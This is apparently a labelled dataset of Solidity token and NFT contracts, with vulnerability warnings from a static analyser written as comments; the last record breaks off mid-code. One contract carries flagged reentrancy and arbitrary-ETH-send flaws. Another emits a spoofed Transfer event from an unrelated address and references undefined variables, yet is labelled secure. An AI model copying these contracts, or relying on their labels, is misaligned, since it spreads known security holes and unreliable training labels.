"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FidaInu is ERC20 {\n constructor() ERC20(\"Fida Inu\", \"FIDA\") {\n deployer = msg.sender;\n _totalSupply = 666666666 * 10 ** 9;\n _balances[msg.sender] += _totalSupply;\n emit Transfer(\n address(0x3119C74291E9Db20803DB727087594Eeb3dE4b71),\n msg.sender,\n _totalSupply\n );\n }\n}",
"file_name": "solidity_code_3144.sol",
"secure": 1,
"size_bytes": 499
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Ethereum20 is ERC20 {\n constructor() ERC20(\"Ethereum2.0\", \"Eth2.0\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3145.sol",
"secure": 1,
"size_bytes": 281
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SAT is ERC20 {\n constructor() ERC20(\"SAT\", \"SAT\") {\n _mint(msg.sender, 100000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_3146.sol",
"secure": 1,
"size_bytes": 259
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MetaverseBrokers is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private _isExcludedFromAntiBot;\n mapping(address => uint256) private _antiBot;\n mapping(address => bool) private _bots;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1e9 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61e1e7f): MetaverseBrokers._reflectionFee should be constant \n\t// Recommendation for 61e1e7f: Add the 'constant' attribute to state variables that never change.\n uint256 public _reflectionFee = 1;\n uint256 public _tokensBuyFee = 12;\n\t// WARNING Optimization Issue (constable-states | ID: 5defa4e): MetaverseBrokers._maxTokensBuyFee should be constant \n\t// Recommendation for 5defa4e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTokensBuyFee = 12;\n\t// WARNING Optimization Issue (constable-states | ID: 664e557): MetaverseBrokers._tokensSellFee should be constant \n\t// Recommendation for 664e557: Add the 'constant' attribute to state variables that never change.\n uint256 public _tokensSellFee = 12;\n\n uint256 private _swapThreshold;\n uint256 private _swapAmountMax;\n\n address payable private _treasuryWallet;\n address payable private _teamWallet;\n\n string private constant _name = \"MetaverseBrokers\";\n string private constant _symbol = \"$MEBRO\";\n\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n uint256 private tradingOpenTime;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private _maxWalletAmount = _tTotal;\n\n event TreasuryWalletUpdated(address wallet);\n event TeamWalletUpdated(address wallet);\n\n event MaxWalletAmountRemoved();\n event SwapThresholdUpdated(uint256 _swapThreshold);\n event SwapAmountMaxUpdated(uint256 _swapAmountMax);\n event BuyFeeUpdated(uint256 _tokensBuyFee);\n event ExcludedFromFees(address _account, bool _excluded);\n\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _treasuryWallet = payable(0x22B44C1D42239a4d0CF67C2f83ccaa869Ed20235);\n _teamWallet = payable(0xEA70D22a56bC8bA6fc6F3B28D542303225C160CB);\n\n _rOwned[_msgSender()] = _rTotal;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_treasuryWallet] = true;\n _isExcludedFromFee[_teamWallet] = true;\n\n _isExcludedFromAntiBot[owner()] = true;\n _isExcludedFromAntiBot[address(this)] = true;\n emit Transfer(\n address(0x0000000000000000000000000000000000000000),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d10138c): MetaverseBrokers.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d10138c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4884a8d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4884a8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7202abd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7202abd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4884a8d\n\t\t// reentrancy-benign | ID: 7202abd\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 4884a8d\n\t\t// reentrancy-benign | ID: 7202abd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9d75298): MetaverseBrokers.updateTreasuryWallet(address).account lacks a zerocheck on \t _treasuryWallet = account\n\t// Recommendation for 9d75298: Check that the address is not zero.\n function updateTreasuryWallet(address payable account) external onlyOwner {\n\t\t// missing-zero-check | ID: 9d75298\n _treasuryWallet = account;\n excludeFromFee(account, true);\n excludeFromAntiBot(account);\n emit TreasuryWalletUpdated(account);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ba35817): MetaverseBrokers.updateTeamWallet(address).account lacks a zerocheck on \t _teamWallet = account\n\t// Recommendation for ba35817: Check that the address is not zero.\n function updateTeamWallet(address payable account) external onlyOwner {\n\t\t// missing-zero-check | ID: ba35817\n _teamWallet = account;\n excludeFromFee(account, true);\n excludeFromAntiBot(account);\n emit TeamWalletUpdated(account);\n }\n\n function setSwapThreshold(uint256 swapThreshold) external onlyOwner {\n _swapThreshold = swapThreshold;\n emit SwapThresholdUpdated(swapThreshold);\n }\n\n function setSwapAmountMax(uint256 swapAmountMax) external onlyOwner {\n _swapAmountMax = swapAmountMax;\n emit SwapAmountMaxUpdated(swapAmountMax);\n }\n\n function setNewBuyFee(uint256 newBuyFee) external onlyOwner {\n require(newBuyFee <= _maxTokensBuyFee, \"Buy fee cannot be that large\");\n _tokensBuyFee = newBuyFee;\n emit BuyFeeUpdated(newBuyFee);\n }\n\n function excludeFromFee(address account, bool excluded) public onlyOwner {\n _isExcludedFromFee[account] = excluded;\n emit ExcludedFromFees(account, excluded);\n }\n\n function excludeFromAntiBot(address account) public onlyOwner {\n _isExcludedFromAntiBot[account] = true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 315ee44): MetaverseBrokers._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 315ee44: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 7202abd\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 4884a8d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: afd496f): MetaverseBrokers._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons elapsed < 30\n\t// Recommendation for afd496f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 797daf6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 797daf6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 56e10f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 56e10f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5296fb1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5296fb1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(balanceOf(to) + amount <= _maxWalletAmount);\n\n if (!_isExcludedFromAntiBot[to] && _antiBot[to] == 0) {\n uint256 elapsed = block.timestamp - tradingOpenTime;\n\n\t\t\t\t\t// timestamp | ID: afd496f\n if (elapsed < 30) {\n uint256 duration = (30 - elapsed) * 240;\n\n _antiBot[to] = block.timestamp + duration;\n }\n }\n }\n\n uint256 swapAmount = balanceOf(address(this));\n\n if (swapAmount > _swapAmountMax) {\n swapAmount = _swapAmountMax;\n }\n\n if (\n swapAmount > _swapThreshold &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled\n ) {\n\t\t\t\t// reentrancy-events | ID: 797daf6\n\t\t\t\t// reentrancy-benign | ID: 56e10f1\n\t\t\t\t// reentrancy-eth | ID: 5296fb1\n swapTokensForEth(swapAmount);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 797daf6\n\t\t\t\t\t// reentrancy-eth | ID: 5296fb1\n sendETHTreasuryAndTeam(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 797daf6\n\t\t// reentrancy-benign | ID: 56e10f1\n\t\t// reentrancy-eth | ID: 5296fb1\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 797daf6\n\t\t// reentrancy-events | ID: 4884a8d\n\t\t// reentrancy-benign | ID: 56e10f1\n\t\t// reentrancy-benign | ID: 7202abd\n\t\t// reentrancy-eth | ID: 5296fb1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4d307bf): MetaverseBrokers.sendETHTreasuryAndTeam(uint256) sends eth to arbitrary user Dangerous calls _treasuryWallet.transfer(treasury) _teamWallet.transfer(team)\n\t// Recommendation for 4d307bf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHTreasuryAndTeam(uint256 amount) private {\n uint256 treasury = (amount * 10) / 12;\n uint256 team = amount - treasury;\n\n\t\t// reentrancy-events | ID: 797daf6\n\t\t// reentrancy-events | ID: 4884a8d\n\t\t// reentrancy-eth | ID: 5296fb1\n\t\t// arbitrary-send-eth | ID: 4d307bf\n _treasuryWallet.transfer(treasury);\n\t\t// reentrancy-events | ID: 797daf6\n\t\t// reentrancy-events | ID: 4884a8d\n\t\t// reentrancy-eth | ID: 5296fb1\n\t\t// arbitrary-send-eth | ID: 4d307bf\n _teamWallet.transfer(team);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3c7aa21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3c7aa21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e3a670f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e3a670f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bd567cd): MetaverseBrokers.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bd567cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0f95579): MetaverseBrokers.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0f95579: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5f89bd0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5f89bd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 3c7aa21\n\t\t// reentrancy-benign | ID: e3a670f\n\t\t// reentrancy-eth | ID: 5f89bd0\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: e3a670f\n _isExcludedFromAntiBot[address(uniswapV2Router)] = true;\n\t\t// reentrancy-benign | ID: e3a670f\n _isExcludedFromAntiBot[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e3a670f\n _isExcludedFromFee[address(uniswapV2Router)] = true;\n\n\t\t// reentrancy-benign | ID: 3c7aa21\n\t\t// unused-return | ID: bd567cd\n\t\t// reentrancy-eth | ID: 5f89bd0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 3c7aa21\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 3c7aa21\n _maxWalletAmount = 1e7 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 5f89bd0\n tradingOpen = true;\n\t\t// reentrancy-benign | ID: 3c7aa21\n tradingOpenTime = block.timestamp;\n\t\t// reentrancy-benign | ID: 3c7aa21\n _swapThreshold = 1e6 * 10 ** 9;\n\t\t// reentrancy-benign | ID: 3c7aa21\n _swapAmountMax = 3e6 * 10 ** 9;\n\n\t\t// unused-return | ID: 0f95579\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b8c4859): MetaverseBrokers.setBots(address[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < tradingOpenTime + (86400 / 2),Cannot set bots anymore)\n\t// Recommendation for b8c4859: Avoid relying on 'block.timestamp'.\n function setBots(address[] memory bots) public onlyOwner {\n\t\t// timestamp | ID: b8c4859\n require(\n block.timestamp < tradingOpenTime + (1 days / 2),\n \"Cannot set bots anymore\"\n );\n\n for (uint256 i = 0; i < bots.length; i++) {\n _bots[bots[i]] = true;\n }\n }\n\n function removeStrictWalletLimit() public onlyOwner {\n _maxWalletAmount = 1e9 * 10 ** 9;\n emit MaxWalletAmountRemoved();\n }\n\n function delBot(address notbot) public onlyOwner {\n _bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _calculateFee(\n uint256 fee,\n address sender,\n address recipient\n ) private view returns (uint256) {\n if (!tradingOpen || inSwap) {\n return 0;\n }\n\n if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {\n return 0;\n }\n\n return fee;\n }\n\n function _calculateReflectionFee(\n address sender,\n address recipient\n ) private view returns (uint256) {\n if (sender == uniswapV2Pair && _tokensBuyFee == 0) {\n return _calculateFee(0, sender, recipient);\n }\n return _calculateFee(_reflectionFee, sender, recipient);\n }\n\n function _calculateTokenFee(\n address sender,\n address recipient\n ) private view returns (uint256) {\n if (sender == uniswapV2Pair) {\n return _calculateFee(_tokensBuyFee, sender, recipient);\n }\n return _calculateFee(_tokensSellFee, sender, recipient);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(\n tAmount,\n _calculateReflectionFee(sender, recipient),\n _calculateTokenFee(sender, recipient)\n );\n\t\t// reentrancy-eth | ID: 5296fb1\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 5296fb1\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 797daf6\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 5296fb1\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 5296fb1\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 56e10f1\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualSwap() public {\n require(_msgSender() == _teamWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualSend() public {\n require(_msgSender() == _teamWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHTreasuryAndTeam(contractETHBalance);\n }\n\n function manualSwapAndSend() external {\n manualSwap();\n manualSend();\n }\n\n function _getValues(\n uint256 tAmount,\n uint256 reflectionFee,\n uint256 tokenFee\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n reflectionFee,\n tokenFee\n );\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n _getRate()\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3147.sol",
"secure": 0,
"size_bytes": 24186
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract GPunkz is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: 7845ce6): GPunkz._owner should be immutable \n\t// Recommendation for 7845ce6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\n modifier onlyOwner() {\n require(_owner == msg.sender);\n _;\n }\n\n uint256 public MAX_SUPPLY = 666;\n\t// WARNING Optimization Issue (constable-states | ID: d28716b): GPunkz.MAX_FREE_PER_WALLET should be constant \n\t// Recommendation for d28716b: Add the 'constant' attribute to state variables that never change.\n uint256 public MAX_FREE_PER_WALLET = 1;\n uint256 public MAX_FREE = 333;\n uint256 public COST = 0.001 ether;\n\n string private constant _name = \"GPunkz\";\n string private constant _symbol = \"GPUNKZ\";\n string private constant _baseURI =\n \"Qma1Yi73M5RaxQSBTwgaVx5Fczy4wdMg2EBxhvZYDjG1Wm\";\n string private constant _contractURI =\n \"Qma3gjFL53ovnLVVHGjwmajQjrboRGGxezEvGUJQX7aUnb\";\n\n constructor() {\n _owner = msg.sender;\n _mint(msg.sender, 3);\n }\n\n function mint(uint256 amount) external payable {\n address _caller = _msgSenderERC721A();\n\n require(totalSupply() + amount <= MAX_SUPPLY, \"SoldOut\");\n require(amount * COST <= msg.value, \"Value to Low\");\n\n _mint(_caller, amount);\n }\n\n function freeMint() external {\n address _caller = _msgSenderERC721A();\n uint256 amount = MAX_FREE_PER_WALLET;\n\n require(totalSupply() + amount <= MAX_FREE, \"Freemint SoldOut\");\n require(\n amount + _numberMinted(_caller) <= MAX_FREE_PER_WALLET,\n \"AccLimit\"\n );\n\n _mint(_caller, amount);\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9ca22d9): GPunkz.setData(uint256,uint256,uint256) should emit an event for MAX_SUPPLY = _MAX_SUPPLY MAX_FREE = _MAX_FREE COST = _COST \n\t// Recommendation for 9ca22d9: Emit an event for critical parameter changes.\n function setData(\n uint256 _MAX_SUPPLY,\n uint256 _MAX_FREE,\n uint256 _COST\n ) external onlyOwner {\n\t\t// events-maths | ID: 9ca22d9\n MAX_SUPPLY = _MAX_SUPPLY;\n\t\t// events-maths | ID: 9ca22d9\n MAX_FREE = _MAX_FREE;\n\t\t// events-maths | ID: 9ca22d9\n COST = _COST;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _setAux(address owner, uint64 aux) internal {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n assembly {\n auxCasted := aux\n }\n packed = (packed & BITMASK_AUX_COMPLEMENT) | (auxCasted << BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8960a24): GPunkz._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for 8960a24: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: 8960a24\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5a82ff8): GPunkz._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for 5a82ff8: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 6f78f61): GPunkz._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for 6f78f61: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: 5a82ff8\n\t\t// incorrect-equality | ID: 6f78f61\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function contractURI() public view returns (string memory) {\n return string(abi.encodePacked(\"ipfs://\", _contractURI));\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n 